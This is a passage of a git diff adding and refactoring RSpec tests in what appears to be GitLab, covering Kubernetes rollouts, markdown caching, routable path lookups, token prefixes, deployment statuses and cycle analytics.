+ kube_deployment(name: 'deployment-b', environment_slug: environment.slug, project_slug: project.full_path_slug, replicas: 1, track: 'mytrack')
+ ]
+ end
+
+ let(:pods) do
+ []
+ end
+
+ it 'returns the correct number of pending pods' do
+ expect(rollout_status.instances.map { |p| p.slice(:pod_name, :status, :track) }).to eq([
+ { pod_name: 'Not provided', status: 'pending', track: 'mytrack' },
+ { pod_name: 'Not provided', status: 'pending', track: 'mytrack' }
+ ])
+ end
+ end
+
+ context 'with multiple matching deployments' do
+ let(:deployments) do
+ [
+ kube_deployment(name: 'deployment-a', environment_slug: environment.slug, project_slug: project.full_path_slug, replicas: 2),
+ kube_deployment(name: 'deployment-b', environment_slug: environment.slug, project_slug: project.full_path_slug, replicas: 2)
+ ]
+ end
+
+ let(:pods) do
+ [
+ kube_pod(name: 'pod-a-1', environment_slug: environment.slug, project_slug: project.full_path_slug),
+ kube_pod(name: 'pod-a-2', environment_slug: environment.slug, project_slug: project.full_path_slug),
+ kube_pod(name: 'pod-b-1', environment_slug: environment.slug, project_slug: project.full_path_slug),
+ kube_pod(name: 'pod-b-2', environment_slug: environment.slug, project_slug: project.full_path_slug)
+ ]
+ end
+
+ it 'returns each pod once' do
+ expect(rollout_status.instances.map { |p| p[:pod_name] }).to eq(['pod-a-1', 'pod-a-2', 'pod-b-1', 'pod-b-2'])
+ end
+ end
+ end
+
+ describe '#ingresses' do
+ subject { service.ingresses(namespace) }
+
+ let(:service) { create(:cluster_platform_kubernetes, :configured) }
+ let(:namespace) { 'project-namespace' }
+
+ context 'when there is an ingress in the namespace' do
+ before do
+ stub_kubeclient_ingresses(namespace)
+ end
+
+ it 'returns an ingress' do
+ expect(subject.count).to eq(1)
+ expect(subject.first).to be_kind_of(::Gitlab::Kubernetes::Ingress)
+ expect(subject.first.name).to eq('production-auto-deploy')
+ end
+ end
+
+ context 'when there are no ingresss in the namespace' do
+ before do
+ allow(service.kubeclient).to receive(:get_ingresses) { raise Kubeclient::ResourceNotFoundError.new(404, 'Not found', nil) }
+ end
+
+ it 'returns nothing' do
+ is_expected.to be_empty
+ end
+ end
+ end
+
+ describe '#patch_ingress' do
+ subject { service.patch_ingress(namespace, ingress, data) }
+
+ let(:service) { create(:cluster_platform_kubernetes, :configured) }
+ let(:namespace) { 'project-namespace' }
+ let(:ingress) { Gitlab::Kubernetes::Ingress.new(kube_ingress) }
+ let(:data) { { metadata: { annotations: { name: 'test' } } } }
+
+ context 'when there is an ingress in the namespace' do
+ before do
+ stub_kubeclient_ingresses(namespace, method: :patch, resource_path: "/#{ingress.name}")
+ end
+
+ it 'returns an ingress' do
+ expect(subject[:items][0][:metadata][:name]).to eq('production-auto-deploy')
+ end
+ end
+
+ context 'when there are no ingresss in the namespace' do
+ before do
+ allow(service.kubeclient).to receive(:patch_ingress) { raise Kubeclient::ResourceNotFoundError.new(404, 'Not found', nil) }
+ end
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(Kubeclient::ResourceNotFoundError)
+ end
end
end
end
diff --git a/spec/models/concerns/cache_markdown_field_spec.rb b/spec/models/concerns/cache_markdown_field_spec.rb
index 37e2f5fb8d4..6e62d4ef31b 100644
--- a/spec/models/concerns/cache_markdown_field_spec.rb
+++ b/spec/models/concerns/cache_markdown_field_spec.rb
@@ -233,7 +233,7 @@ RSpec.describe CacheMarkdownField, :clean_gitlab_redis_cache do
end
it 'calls #refresh_markdown_cache!' do
- expect(thing).to receive(:refresh_markdown_cache!)
+ expect(thing).to receive(:refresh_markdown_cache)
expect(thing.updated_cached_html_for(:description)).to eq(html)
end
@@ -279,10 +279,101 @@ RSpec.describe CacheMarkdownField, :clean_gitlab_redis_cache do
end
end
+ shared_examples 'a class with mentionable markdown fields' do
+ let(:mentionable) { klass.new(description: markdown, description_html: html, title: markdown, title_html: html, cached_markdown_version: cache_version) }
+
+ context 'when klass is a Mentionable', :aggregate_failures do
+ before do
+ klass.send(:include, Mentionable)
+ klass.send(:attr_mentionable, :description)
+ end
+
+ describe '#mentionable_attributes_changed?' do
+ message = Struct.new(:text)
+
+ let(:changes) do
+ msg = message.new('test')
+
+ changes = {}
+ changes[msg] = ['', 'some message']
+ changes[:random_sym_key] = ['', 'some message']
+ changes["description"] = ['', 'some message']
+ changes
+ end
+
+ it 'returns true with key string' do
+ changes["description_html"] = ['', 'some message']
+
+ allow(mentionable).to receive(:saved_changes).and_return(changes)
+
+ expect(mentionable.send(:mentionable_attributes_changed?)).to be true
+ end
+
+ it 'returns false with key symbol' do
+ changes[:description_html] = ['', 'some message']
+ allow(mentionable).to receive(:saved_changes).and_return(changes)
+
+ expect(mentionable.send(:mentionable_attributes_changed?)).to be false
+ end
+
+ it 'returns false when no attr_mentionable keys' do
+ allow(mentionable).to receive(:saved_changes).and_return(changes)
+
+ expect(mentionable.send(:mentionable_attributes_changed?)).to be false
+ end
+ end
+
+ describe '#save' do
+ context 'when cache is outdated' do
+ before do
+ thing.cached_markdown_version += 1
+ end
+
+ context 'when the markdown field also a mentionable attribute' do
+ let(:thing) { klass.new(description: markdown, description_html: html, cached_markdown_version: cache_version) }
+
+ it 'calls #store_mentions!' do
+ expect(thing).to receive(:mentionable_attributes_changed?).and_return(true)
+ expect(thing).to receive(:store_mentions!)
+
+ thing.try(:save)
+
+ expect(thing.description_html).to eq(html)
+ end
+ end
+
+ context 'when the markdown field is not mentionable attribute' do
+ let(:thing) { klass.new(title: markdown, title_html: html, cached_markdown_version: cache_version) }
+
+ it 'does not call #store_mentions!' do
+ expect(thing).not_to receive(:store_mentions!)
+ expect(thing).to receive(:refresh_markdown_cache)
+
+ thing.try(:save)
+
+ expect(thing.title_html).to eq(html)
+ end
+ end
+ end
+
+ context 'when the markdown field does not exist' do
+ let(:thing) { klass.new(cached_markdown_version: cache_version) }
+
+ it 'does not call #store_mentions!' do
+ expect(thing).not_to receive(:store_mentions!)
+
+ thing.try(:save)
+ end
+ end
+ end
+ end
+ end
+
context 'for Active record classes' do
let(:klass) { ar_class }
it_behaves_like 'a class with cached markdown fields'
+ it_behaves_like 'a class with mentionable markdown fields'
describe '#attribute_invalidated?' do
let(:thing) { klass.create!(description: markdown, description_html: html, cached_markdown_version: cache_version) }
diff --git a/spec/models/concerns/case_sensitivity_spec.rb b/spec/models/concerns/case_sensitivity_spec.rb
index 5fb7cdb4443..7cf7b825d7d 100644
--- a/spec/models/concerns/case_sensitivity_spec.rb
+++ b/spec/models/concerns/case_sensitivity_spec.rb
@@ -4,16 +4,16 @@ require 'spec_helper'
RSpec.describe CaseSensitivity do
describe '.iwhere' do
- let(:connection) { ActiveRecord::Base.connection }
- let(:model) do
+ let_it_be(:connection) { ActiveRecord::Base.connection }
+ let_it_be(:model) do
Class.new(ActiveRecord::Base) do
include CaseSensitivity
self.table_name = 'namespaces'
end
end
- let!(:model_1) { model.create!(path: 'mOdEl-1', name: 'mOdEl 1') }
- let!(:model_2) { model.create!(path: 'mOdEl-2', name: 'mOdEl 2') }
+ let_it_be(:model_1) { model.create!(path: 'mOdEl-1', name: 'mOdEl 1') }
+ let_it_be(:model_2) { model.create!(path: 'mOdEl-2', name: 'mOdEl 2') }
it 'finds a single instance by a single attribute regardless of case' do
expect(model.iwhere(path: 'MODEL-1')).to contain_exactly(model_1)
@@ -28,6 +28,10 @@ RSpec.describe CaseSensitivity do
.to contain_exactly(model_1)
end
+ it 'finds instances by custom Arel attributes' do
+ expect(model.iwhere(model.arel_table[:path] => 'MODEL-1')).to contain_exactly(model_1)
+ end
+
it 'builds a query using LOWER' do
query = model.iwhere(path: %w(MODEL-1 model-2), name: 'model 1').to_sql
expected_query = <<~QRY.strip
diff --git a/spec/models/concerns/ignorable_columns_spec.rb b/spec/models/concerns/ignorable_columns_spec.rb
index a5eff154a0b..c97dc606159 100644
--- a/spec/models/concerns/ignorable_columns_spec.rb
+++ b/spec/models/concerns/ignorable_columns_spec.rb
@@ -59,6 +59,14 @@ RSpec.describe IgnorableColumns do
it_behaves_like 'storing removal information'
end
+ context 'when called on a subclass without setting the ignored columns' do
+ let(:subclass) { Class.new(record_class) }
+
+ it 'does not raise Deadlock error' do
+ expect { subclass.ignored_columns_details }.not_to raise_error
+ end
+ end
+
it 'defaults to empty Hash' do
expect(subject.ignored_columns_details).to eq({})
end
diff --git a/spec/models/concerns/mentionable_spec.rb b/spec/models/concerns/mentionable_spec.rb
index 516c0fd75bc..3c095477ea9 100644
--- a/spec/models/concerns/mentionable_spec.rb
+++ b/spec/models/concerns/mentionable_spec.rb
@@ -29,42 +29,6 @@ RSpec.describe Mentionable do
expect(mentionable.referenced_mentionables).to be_empty
end
end
-
- describe '#any_mentionable_attributes_changed?' do
- message = Struct.new(:text)
-
- let(:mentionable) { Example.new }
- let(:changes) do
- msg = message.new('test')
-
- changes = {}
- changes[msg] = ['', 'some message']
- changes[:random_sym_key] = ['', 'some message']
- changes["random_string_key"] = ['', 'some message']
- changes
- end
-
- it 'returns true with key string' do
- changes["message"] = ['', 'some message']
-
- allow(mentionable).to receive(:saved_changes).and_return(changes)
-
- expect(mentionable.send(:any_mentionable_attributes_changed?)).to be true
- end
-
- it 'returns false with key symbol' do
- changes[:message] = ['', 'some message']
- allow(mentionable).to receive(:saved_changes).and_return(changes)
-
- expect(mentionable.send(:any_mentionable_attributes_changed?)).to be false
- end
-
- it 'returns false when no attr_mentionable keys' do
- allow(mentionable).to receive(:saved_changes).and_return(changes)
-
- expect(mentionable.send(:any_mentionable_attributes_changed?)).to be false
- end
- end
end
RSpec.describe Issue, "Mentionable" do
diff --git a/spec/models/concerns/project_features_compatibility_spec.rb b/spec/models/concerns/project_features_compatibility_spec.rb
index ba70ff563a8..2059e170446 100644
--- a/spec/models/concerns/project_features_compatibility_spec.rb
+++ b/spec/models/concerns/project_features_compatibility_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe ProjectFeaturesCompatibility do
let(:project) { create(:project) }
let(:features_enabled) { %w(issues wiki builds merge_requests snippets) }
- let(:features) { features_enabled + %w(repository pages) }
+ let(:features) { features_enabled + %w(repository pages operations) }
# We had issues_enabled, snippets_enabled, builds_enabled, merge_requests_enabled and issues_enabled fields on projects table
# All those fields got moved to a new table called project_feature and are now integers instead of booleans
diff --git a/spec/models/concerns/routable_spec.rb b/spec/models/concerns/routable_spec.rb
index e4cf68663ef..6ab87053258 100644
--- a/spec/models/concerns/routable_spec.rb
+++ b/spec/models/concerns/routable_spec.rb
@@ -2,8 +2,69 @@
require 'spec_helper'
+RSpec.shared_examples '.find_by_full_path' do
+ describe '.find_by_full_path', :aggregate_failures do
+ it 'finds records by their full path' do
+ expect(described_class.find_by_full_path(record.full_path)).to eq(record)
+ expect(described_class.find_by_full_path(record.full_path.upcase)).to eq(record)
+ end
+
+ it 'returns nil for unknown paths' do
+ expect(described_class.find_by_full_path('unknown')).to be_nil
+ end
+
+ it 'includes route information when loading a record' do
+ control_count = ActiveRecord::QueryRecorder.new do
+ described_class.find_by_full_path(record.full_path)
+ end.count
+
+ expect do
+ described_class.find_by_full_path(record.full_path).route
+ end.not_to exceed_all_query_limit(control_count)
+ end
+
+ context 'with redirect routes' do
+ let_it_be(:redirect_route) { create(:redirect_route, source: record) }
+
+ context 'without follow_redirects option' do
+ it 'does not find records by their redirected path' do
+ expect(described_class.find_by_full_path(redirect_route.path)).to be_nil
+ expect(described_class.find_by_full_path(redirect_route.path.upcase)).to be_nil
+ end
+ end
+
+ context 'with follow_redirects option set to true' do
+ it 'finds records by their canonical path' do
+ expect(described_class.find_by_full_path(record.full_path, follow_redirects: true)).to eq(record)
+ expect(described_class.find_by_full_path(record.full_path.upcase, follow_redirects: true)).to eq(record)
+ end
+
+ it 'finds records by their redirected path' do
+ expect(described_class.find_by_full_path(redirect_route.path, follow_redirects: true)).to eq(record)
+ expect(described_class.find_by_full_path(redirect_route.path.upcase, follow_redirects: true)).to eq(record)
+ end
+
+ it 'returns nil for unknown paths' do
+ expect(described_class.find_by_full_path('unknown', follow_redirects: true)).to be_nil
+ end
+ end
+ end
+ end
+end
+
+RSpec.describe Routable do
+ it_behaves_like '.find_by_full_path' do
+ let_it_be(:record) { create(:group) }
+ end
+
+ it_behaves_like '.find_by_full_path' do
+ let_it_be(:record) { create(:project) }
+ end
+end
+
RSpec.describe Group, 'Routable' do
- let!(:group) { create(:group, name: 'foo') }
+ let_it_be_with_reload(:group) { create(:group, name: 'foo') }
+ let_it_be(:nested_group) { create(:group, parent: group) }
describe 'Validations' do
it { is_expected.to validate_presence_of(:route) }
@@ -59,61 +120,20 @@ RSpec.describe Group, 'Routable' do
end
describe '.find_by_full_path' do
- let!(:nested_group) { create(:group, parent: group) }
-
- context 'without any redirect routes' do
- it { expect(described_class.find_by_full_path(group.to_param)).to eq(group) }
- it { expect(described_class.find_by_full_path(group.to_param.upcase)).to eq(group) }
- it { expect(described_class.find_by_full_path(nested_group.to_param)).to eq(nested_group) }
- it { expect(described_class.find_by_full_path('unknown')).to eq(nil) }
-
- it 'includes route information when loading a record' do
- path = group.to_param
- control_count = ActiveRecord::QueryRecorder.new { described_class.find_by_full_path(path) }.count
-
- expect { described_class.find_by_full_path(path).route }.not_to exceed_all_query_limit(control_count)
- end
+ it_behaves_like '.find_by_full_path' do
+ let_it_be(:record) { group }
end
- context 'with redirect routes' do
- let!(:group_redirect_route) { group.redirect_routes.create!(path: 'bar') }
- let!(:nested_group_redirect_route) { nested_group.redirect_routes.create!(path: nested_group.path.sub('foo', 'bar')) }
-
- context 'without follow_redirects option' do
- context 'with the given path not matching any route' do
- it { expect(described_class.find_by_full_path('unknown')).to eq(nil) }
- end
-
- context 'with the given path matching the canonical route' do
- it { expect(described_class.find_by_full_path(group.to_param)).to eq(group) }
- it { expect(described_class.find_by_full_path(group.to_param.upcase)).to eq(group) }
- it { expect(described_class.find_by_full_path(nested_group.to_param)).to eq(nested_group) }
- end
-
- context 'with the given path matching a redirect route' do
- it { expect(described_class.find_by_full_path(group_redirect_route.path)).to eq(nil) }
- it { expect(described_class.find_by_full_path(group_redirect_route.path.upcase)).to eq(nil) }
- it { expect(described_class.find_by_full_path(nested_group_redirect_route.path)).to eq(nil) }
- end
- end
-
- context 'with follow_redirects option set to true' do
- context 'with the given path not matching any route' do
- it { expect(described_class.find_by_full_path('unknown', follow_redirects: true)).to eq(nil) }
- end
+ it_behaves_like '.find_by_full_path' do
+ let_it_be(:record) { nested_group }
+ end
- context 'with the given path matching the canonical route' do
- it { expect(described_class.find_by_full_path(group.to_param, follow_redirects: true)).to eq(group) }
- it { expect(described_class.find_by_full_path(group.to_param.upcase, follow_redirects: true)).to eq(group) }
- it { expect(described_class.find_by_full_path(nested_group.to_param, follow_redirects: true)).to eq(nested_group) }
- end
+ it 'does not find projects with a matching path' do
+ project = create(:project)
+ redirect_route = create(:redirect_route, source: project)
- context 'with the given path matching a redirect route' do
- it { expect(described_class.find_by_full_path(group_redirect_route.path, follow_redirects: true)).to eq(group) }
- it { expect(described_class.find_by_full_path(group_redirect_route.path.upcase, follow_redirects: true)).to eq(group) }
- it { expect(described_class.find_by_full_path(nested_group_redirect_route.path, follow_redirects: true)).to eq(nested_group) }
- end
- end
+ expect(described_class.find_by_full_path(project.full_path)).to be_nil
+ expect(described_class.find_by_full_path(redirect_route.path, follow_redirects: true)).to be_nil
end
end
@@ -131,8 +151,6 @@ RSpec.describe Group, 'Routable' do
end
context 'with valid paths' do
- let!(:nested_group) { create(:group, parent: group) }
-
it 'returns the projects matching the paths' do
result = described_class.where_full_path_in([group.to_param, nested_group.to_param])
@@ -148,32 +166,36 @@ RSpec.describe Group, 'Routable' do
end
describe '#full_path' do
- let(:group) { create(:group) }
- let(:nested_group) { create(:group, parent: group) }
-
it { expect(group.full_path).to eq(group.path) }
it { expect(nested_group.full_path).to eq("#{group.full_path}/#{nested_group.path}") }
end
describe '#full_name' do
- let(:group) { create(:group) }
- let(:nested_group) { create(:group, parent: group) }
-
it { expect(group.full_name).to eq(group.name) }
it { expect(nested_group.full_name).to eq("#{group.name} / #{nested_group.name}") }
end
end
RSpec.describe Project, 'Routable' do
- describe '#full_path' do
- let(:project) { build_stubbed(:project) }
+ let_it_be(:project) { create(:project) }
+ it_behaves_like '.find_by_full_path' do
+ let_it_be(:record) { project }
+ end
+
+ it 'does not find groups with a matching path' do
+ group = create(:group)
+ redirect_route = create(:redirect_route, source: group)
+
+ expect(described_class.find_by_full_path(group.full_path)).to be_nil
+ expect(described_class.find_by_full_path(redirect_route.path, follow_redirects: true)).to be_nil
+ end
+
+ describe '#full_path' do
it { expect(project.full_path).to eq "#{project.namespace.full_path}/#{project.path}" }
end
describe '#full_name' do
- let(:project) { build_stubbed(:project) }
-
it { expect(project.full_name).to eq "#{project.namespace.human_name} / #{project.name}" }
end
end
diff --git a/spec/models/concerns/token_authenticatable_spec.rb b/spec/models/concerns/token_authenticatable_spec.rb
index 90e94b5dca9..d8b77e1cd0d 100644
--- a/spec/models/concerns/token_authenticatable_spec.rb
+++ b/spec/models/concerns/token_authenticatable_spec.rb
@@ -105,8 +105,8 @@ RSpec.describe PersonalAccessToken, 'TokenAuthenticatable' do
it 'sets new token' do
subject
- expect(personal_access_token.token).to eq(token_value)
- expect(personal_access_token.token_digest).to eq(Gitlab::CryptoHelper.sha256(token_value))
+ expect(personal_access_token.token).to eq("#{PersonalAccessToken.token_prefix}#{token_value}")
+ expect(personal_access_token.token_digest).to eq(Gitlab::CryptoHelper.sha256("#{PersonalAccessToken.token_prefix}#{token_value}"))
end
end
diff --git a/spec/models/container_repository_spec.rb b/spec/models/container_repository_spec.rb
index 2adceb1c960..0ecefff3a97 100644
--- a/spec/models/container_repository_spec.rb
+++ b/spec/models/container_repository_spec.rb
@@ -188,7 +188,7 @@ RSpec.describe ContainerRepository do
subject { repository.start_expiration_policy! }
it 'sets the expiration policy started at to now' do
- Timecop.freeze do
+ freeze_time do
expect { subject }
.to change { repository.expiration_policy_started_at }.from(nil).to(Time.zone.now)
end
diff --git a/spec/models/custom_emoji_spec.rb b/spec/models/custom_emoji_spec.rb
index 62380299ea0..41ce480b02f 100644
--- a/spec/models/custom_emoji_spec.rb
+++ b/spec/models/custom_emoji_spec.rb
@@ -22,6 +22,15 @@ RSpec.describe CustomEmoji do
expect(new_emoji.errors.messages).to eq(name: ["#{emoji_name} is already being used for another emoji"])
end
+ it 'disallows very long invalid emoji name without regular expression backtracking issues' do
+ new_emoji = build(:custom_emoji, name: 'a' * 10000 + '!', group: group)
+
+ Timeout.timeout(1) do
+ expect(new_emoji).not_to be_valid
+ expect(new_emoji.errors.messages).to eq(name: ["is too long (maximum is 36 characters)", "is invalid"])
+ end
+ end
+
it 'disallows duplicate custom emoji names within namespace' do
old_emoji = create(:custom_emoji, group: group)
new_emoji = build(:custom_emoji, name: old_emoji.name, namespace: old_emoji.namespace, group: group)
diff --git a/spec/models/cycle_analytics/code_spec.rb b/spec/models/cycle_analytics/code_spec.rb
index 8900c49a662..ca612cba654 100644
--- a/spec/models/cycle_analytics/code_spec.rb
+++ b/spec/models/cycle_analytics/code_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe 'CycleAnalytics#code' do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:from_date) { 10.days.ago }
let_it_be(:user) { project.owner }
- let_it_be(:project_level) { CycleAnalytics::ProjectLevel.new(project, options: { from: from_date }) }
+ let_it_be(:project_level) { CycleAnalytics::ProjectLevel.new(project, options: { from: from_date, current_user: user }) }
subject { project_level }
diff --git a/spec/models/cycle_analytics/issue_spec.rb b/spec/models/cycle_analytics/issue_spec.rb
index 5857365ceab..66d21f6925f 100644
--- a/spec/models/cycle_analytics/issue_spec.rb
+++ b/spec/models/cycle_analytics/issue_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe 'CycleAnalytics#issue' do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:from_date) { 10.days.ago }
let_it_be(:user) { project.owner }
- let_it_be(:project_level) { CycleAnalytics::ProjectLevel.new(project, options: { from: from_date }) }
+ let_it_be(:project_level) { CycleAnalytics::ProjectLevel.new(project, options: { from: from_date, current_user: user }) }
subject { project_level }
diff --git a/spec/models/cycle_analytics/plan_spec.rb b/spec/models/cycle_analytics/plan_spec.rb
index 2b9be64da2b..acaf767db01 100644
--- a/spec/models/cycle_analytics/plan_spec.rb
+++ b/spec/models/cycle_analytics/plan_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe 'CycleAnalytics#plan' do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:from_date) { 10.days.ago }
let_it_be(:user) { project.owner }
- let_it_be(:project_level) { CycleAnalytics::ProjectLevel.new(project, options: { from: from_date }) }
+ let_it_be(:project_level) { CycleAnalytics::ProjectLevel.new(project, options: { from: from_date, current_user: user }) }
subject { project_level }
diff --git a/spec/models/cycle_analytics/review_spec.rb b/spec/models/cycle_analytics/review_spec.rb
index 6ebbcebd71d..06d9cfbf8c0 100644
--- a/spec/models/cycle_analytics/review_spec.rb
+++ b/spec/models/cycle_analytics/review_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe 'CycleAnalytics#review' do
let_it_be(:from_date) { 10.days.ago }
let_it_be(:user) { project.owner }
- subject { CycleAnalytics::ProjectLevel.new(project, options: { from: from_date }) }
+ subject { CycleAnalytics::ProjectLevel.new(project, options: { from: from_date, current_user: user }) }
generate_cycle_analytics_spec(
phase: :review,
diff --git a/spec/models/cycle_analytics/staging_spec.rb b/spec/models/cycle_analytics/staging_spec.rb
index 024625d229f..50cb49d6309 100644
--- a/spec/models/cycle_analytics/staging_spec.rb
+++ b/spec/models/cycle_analytics/staging_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe 'CycleAnalytics#staging' do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:from_date) { 10.days.ago }
let_it_be(:user) { project.owner }
- let_it_be(:project_level) { CycleAnalytics::ProjectLevel.new(project, options: { from: from_date }) }
+ let_it_be(:project_level) { CycleAnalytics::ProjectLevel.new(project, options: { from: from_date, current_user: user }) }
subject { project_level }
diff --git a/spec/models/cycle_analytics/test_spec.rb b/spec/models/cycle_analytics/test_spec.rb
index 7010d69f8a4..8f65c047b15 100644
--- a/spec/models/cycle_analytics/test_spec.rb
+++ b/spec/models/cycle_analytics/test_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe 'CycleAnalytics#test' do
let_it_be(:from_date) { 10.days.ago }
let_it_be(:user) { project.owner }
let_it_be(:issue) { create(:issue, project: project) }
- let_it_be(:project_level) { CycleAnalytics::ProjectLevel.new(project, options: { from: from_date }) }
+ let_it_be(:project_level) { CycleAnalytics::ProjectLevel.new(project, options: { from: from_date, current_user: user }) }
let!(:merge_request) { create_merge_request_closing_issue(user, project, issue) }
subject { project_level }
diff --git a/spec/models/dependency_proxy/manifest_spec.rb b/spec/models/dependency_proxy/manifest_spec.rb
new file mode 100644
index 00000000000..aa2e73356dd
--- /dev/null
+++ b/spec/models/dependency_proxy/manifest_spec.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe DependencyProxy::Manifest, type: :model do
+ describe 'relationships' do
+ it { is_expected.to belong_to(:group) }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:group) }
+ it { is_expected.to validate_presence_of(:file) }
+ it { is_expected.to validate_presence_of(:file_name) }
+ it { is_expected.to validate_presence_of(:digest) }
+ end
+
+ describe 'file is being stored' do
+ subject { create(:dependency_proxy_manifest) }
+
+ context 'when existing object has local store' do
+ it_behaves_like 'mounted file in local store'
+ end
+
+ context 'when direct upload is enabled' do
+ before do
+ stub_dependency_proxy_object_storage(direct_upload: true)
+ end
+
+ it_behaves_like 'mounted file in object store'
+ end
+ end
+
+ describe '.find_or_initialize_by_file_name' do
+ subject { DependencyProxy::Manifest.find_or_initialize_by_file_name(file_name) }
+
+ context 'no manifest exists' do
+ let_it_be(:file_name) { 'foo' }
+
+ it 'initializes a manifest' do
+ expect(DependencyProxy::Manifest).to receive(:new).with(file_name: file_name)
+
+ subject
+ end
+ end
+
+ context 'manifest exists' do
+ let_it_be(:dependency_proxy_manifest) { create(:dependency_proxy_manifest) }
+ let_it_be(:file_name) { dependency_proxy_manifest.file_name }
+
+ it { is_expected.to eq(dependency_proxy_manifest) }
+ end
+ end
+end
diff --git a/spec/models/dependency_proxy/registry_spec.rb b/spec/models/dependency_proxy/registry_spec.rb
index 5bfa75a2eed..a888ee2b7f7 100644
--- a/spec/models/dependency_proxy/registry_spec.rb
+++ b/spec/models/dependency_proxy/registry_spec.rb
@@ -54,4 +54,11 @@ RSpec.describe DependencyProxy::Registry, type: :model do
end
end
end
+
+ describe '#authenticate_header' do
+ it 'returns the OAuth realm and service header' do
+ expect(described_class.authenticate_header)
+ .to eq("Bearer realm=\"#{Gitlab.config.gitlab.url}/jwt/auth\",service=\"dependency_proxy\"")
+ end
+ end
end
diff --git a/spec/models/deployment_spec.rb b/spec/models/deployment_spec.rb
index 9afacd518af..c962b012a4b 100644
--- a/spec/models/deployment_spec.rb
+++ b/spec/models/deployment_spec.rb
@@ -202,6 +202,31 @@ RSpec.describe Deployment do
deployment.cancel!
end
end
+
+ context 'when deployment was skipped' do
+ let(:deployment) { create(:deployment, :running) }
+
+ it 'has correct status' do
+ deployment.skip!
+
+ expect(deployment).to be_skipped
+ expect(deployment.finished_at).to be_nil
+ end
+
+ it 'does not execute Deployments::LinkMergeRequestWorker asynchronously' do
+ expect(Deployments::LinkMergeRequestWorker)
+ .not_to receive(:perform_async).with(deployment.id)
+
+ deployment.skip!
+ end
+
+ it 'does not execute Deployments::ExecuteHooksWorker' do
+ expect(Deployments::ExecuteHooksWorker)
+ .not_to receive(:perform_async).with(deployment.id)
+
+ deployment.skip!
+ end
+ end
end
describe '#success?' do
@@ -320,6 +345,7 @@ RSpec.describe Deployment do
deployment2 = create(:deployment, status: :running )
create(:deployment, status: :failed )
create(:deployment, status: :canceled )
+ create(:deployment, status: :skipped)
is_expected.to contain_exactly(deployment1, deployment2)
end
@@ -346,10 +372,70 @@ RSpec.describe Deployment do
it 'retrieves deployments with deployable builds' do
with_deployable = create(:deployment)
create(:deployment, deployable: nil)
+ create(:deployment, deployable_type: 'CommitStatus', deployable_id: non_existing_record_id)
is_expected.to contain_exactly(with_deployable)
end
end
+
+ describe 'finished_between' do
+ subject { described_class.finished_between(start_time, end_time) }
+
+ let_it_be(:start_time) { DateTime.new(2017) }
+ let_it_be(:end_time) { DateTime.new(2019) }
+ let_it_be(:deployment_2016) { create(:deployment, finished_at: DateTime.new(2016)) }
+ let_it_be(:deployment_2017) { create(:deployment, finished_at: DateTime.new(2017)) }
+ let_it_be(:deployment_2018) { create(:deployment, finished_at: DateTime.new(2018)) }
+ let_it_be(:deployment_2019) { create(:deployment, finished_at: DateTime.new(2019)) }
+ let_it_be(:deployment_2020) { create(:deployment, finished_at: DateTime.new(2020)) }
+
+ it 'retrieves deployments that finished between the specified times' do
+ is_expected.to contain_exactly(deployment_2017, deployment_2018)
+ end
+ end
+
+ describe 'visible' do
+ subject { described_class.visible }
+
+ it 'retrieves the visible deployments' do
+ deployment1 = create(:deployment, status: :running)
+ deployment2 = create(:deployment, status: :success)
+ deployment3 = create(:deployment, status: :failed)
+ deployment4 = create(:deployment, status: :canceled)
+ create(:deployment, status: :skipped)
+
+ is_expected.to contain_exactly(deployment1, deployment2, deployment3, deployment4)
+ end
+ end
+ end
+
+ describe 'latest_for_sha' do
+ subject { described_class.latest_for_sha(sha) }
+
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:commits) { project.repository.commits('master', limit: 2) }
+ let_it_be(:deployments) { commits.reverse.map { |commit| create(:deployment, project: project, sha: commit.id) } }
+ let(:sha) { commits.map(&:id) }
+
+ it 'finds the latest deployment with sha' do
+ is_expected.to eq(deployments.last)
+ end
+
+ context 'when sha is old' do
+ let(:sha) { commits.last.id }
+
+ it 'finds the latest deployment with sha' do
+ is_expected.to eq(deployments.first)
+ end
+ end
+
+ context 'when sha is nil' do
+ let(:sha) { nil }
+
+ it 'returns nothing' do
+ is_expected.to be_nil
+ end
+ end
end
describe '#includes_commit?' do
diff --git a/spec/models/diff_note_spec.rb b/spec/models/diff_note_spec.rb
index f7ce44f7281..215c733f26b 100644
--- a/spec/models/diff_note_spec.rb
+++ b/spec/models/diff_note_spec.rb
@@ -38,6 +38,26 @@ RSpec.describe DiffNote do
it_behaves_like 'a valid diff positionable note' do
subject { build(:diff_note_on_commit, project: project, commit_id: commit_id, position: position) }
end
+
+ it "is not valid when noteable is empty" do
+ note = build(:diff_note_on_merge_request, project: project, noteable: nil)
+
+ note.valid?
+
+ expect(note.errors[:noteable]).to include("doesn't support new-style diff notes")
+ end
+
+ context 'when importing' do
+ it "does not check if it's supported" do
+ note = build(:diff_note_on_merge_request, project: project, noteable: nil)
+ note.importing = true
+ note.valid?
+
+ expect(note.errors.full_messages).not_to include(
+ "Noteable doesn't support new-style diff notes"
+ )
+ end
+ end
end
describe "#position=" do
diff --git a/spec/models/environment_spec.rb b/spec/models/environment_spec.rb
index 179f2a1b0e0..3e10ea847ba 100644
--- a/spec/models/environment_spec.rb
+++ b/spec/models/environment_spec.rb
@@ -19,6 +19,7 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
it { is_expected.to have_many(:deployments) }
it { is_expected.to have_many(:metrics_dashboard_annotations) }
it { is_expected.to have_many(:alert_management_alerts) }
+ it { is_expected.to have_one(:upcoming_deployment) }
it { is_expected.to have_one(:latest_opened_most_severe_alert) }
it { is_expected.to delegate_method(:stop_action).to(:last_deployment) }
@@ -723,6 +724,22 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
end
end
+ describe '#upcoming_deployment' do
